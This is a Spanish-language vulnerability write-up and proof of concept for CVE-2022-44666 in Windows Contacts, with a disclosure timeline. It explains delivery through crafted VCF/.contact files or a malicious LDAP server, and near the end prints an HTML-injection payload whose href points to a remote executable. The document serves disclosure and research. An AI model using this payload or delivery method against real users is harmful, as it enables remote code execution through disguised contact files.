
Informe técnico y prueba de concepto para CVE-2022-44666, una vulnerabilidad de escape del atributo href del control syslink de Contactos de Windows que permite la ejecución remota de código mediante archivos VCF/.contact manipulados y el controlador de protocolo LDAP.
Esta es la historia sobre otro 0day olvidado divulgado completamente hace más de 4 años por [John Page (alias hyp3rlinx)][R.1]. Para entender el informe, debes considerar que soy estúpido :-) Y mi estupidez me lleva a tomar caminos más largos para resolver problemas simples, pero también me lleva a encontrar otras formas de explotar algunos errores. ¿Por qué digo esto? Porque no pude entender rápidamente que la forma de crear un archivo .contact es simplemente navegar a la carpeta Contactos para crear el contacto; en lugar de eso, utilicé esta información para crear primero un archivo VCF y luego, erróneamente, pensé que esto era algún tipo de variante. Eso también se debió a que mi cerebro no puede entender que algunos 0days se olviden durante tanto tiempo ¯\(ツ)/¯ Una vez hecho eso y después de las respuestas de "wontfix" por parte de [MSRC][R.2] y [ZDI][R.3], se realizaron más investigaciones para aumentar la gravedad, llegando finalmente a los archivos .contact y al controlador de protocolo de URL de Windows "ldap".
Mientras leía el código de explotación para [esta vulnerabilidad][R.4] que en realidad se publicó como 0day y es posible encontrar el [informe de ZDI][R.5].
Actualización 2022/07/21: Después de reportar este caso a MS, los de MSRC me señalaron acertadamente que Contactos de Windows no es el programa predeterminado para abrir archivos VCF.

Investigaciones adicionales aún demuestran que el programa predeterminado para archivos VCF en Win7 ESU y WinServer2019 es Contactos de Windows (wab.exe), de lo contrario se usa MS People (PeopleApp.exe). Aquí hay una tabla completa de estas pruebas:
De todos modos, aún argumentan que hay algo de ingeniería social involucrada, como abrir un archivo VCF manipulado y hacer clic en algunos enlaces para explotar el error, por lo que no cumple con el umbral de error de MSRC para una actualización de seguridad.

Actualización 2022/07/25: Bueno, después de más investigaciones, es el mismo error. Finalmente pude encontrar una prueba de concepto de archivo .contact. En realidad es posible analizar correctamente un archivo .contact usando entidades HTML. Tenga en cuenta que esto resuelve el problema anterior (Actualización 2022/07/21) y este formato de archivo (.contact) se abre con Contactos de Windows, programa predeterminado para esta extensión de archivo, incluso cuando MS Office está instalado en el sistema. Solo necesita una primera asociación de archivo si aún no se ha realizado, pero el único programa instalado por defecto para hacerlo es Contactos de Windows.
Actualización 2022/07/25: Esta investigación adicional me llevó a un punto que estaba tratando de alcanzar hace algún tiempo: Usar algún controlador de protocolo de URL para abrir automáticamente datos de contacto manipulados y explotar el error. Finalmente pude hacerlo funcionar gracias al esquema URI ldap, que está asociado por defecto a la aplicación Contactos de Windows, por lo que simplemente configurando un servidor LDAP malicioso y sirviendo los datos de carga bajo los atributos mail, url o wwwhomepage, el impacto de la explotación aumenta porque ahora no es necesario hacer doble clic en un archivo VCF/Contact malicioso; podemos entregar esto usando protocolos de URL.
Actualización 2023/02/08: Como un gesto de buena voluntad por parte de MSRC, [John Page (alias hyp3rlinx)][R.1] ha sido incluido en la página de agradecimientos por el descubrimiento de [CVE-2022-44666][R.10].

El informe es básicamente el mismo que los enlaces anteriores, sin embargo, he mejorado un poco la ingeniería social involucrada. De hecho, lo primero que hice fue mejorar la forma en que se ven los enlaces, como si fuera una vulnerabilidad XSS; en realidad es una inyección HTML, por lo que es posible cerrar el primer elemento de anclaje e insertar uno nuevo. Luego, quería eliminar la visibilidad de esos elementos HTML, por lo que simplemente establecer un "innerHTML" lo más largo posible sería suficiente para ocultarlos (debido a que hay límites de caracteres).
Esta es la carga útil final utilizada:```html URL;WORK:">CLICKMEEEEE...
Para ver lo que sucede, ejecuta procmon y configura un objetivo falso del atributo href de la siguiente manera:```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/foo.exe">CLICKMEEEEE...</a>
Una vez que se hace clic en el enlace, se observa una salida como esta en procmon:
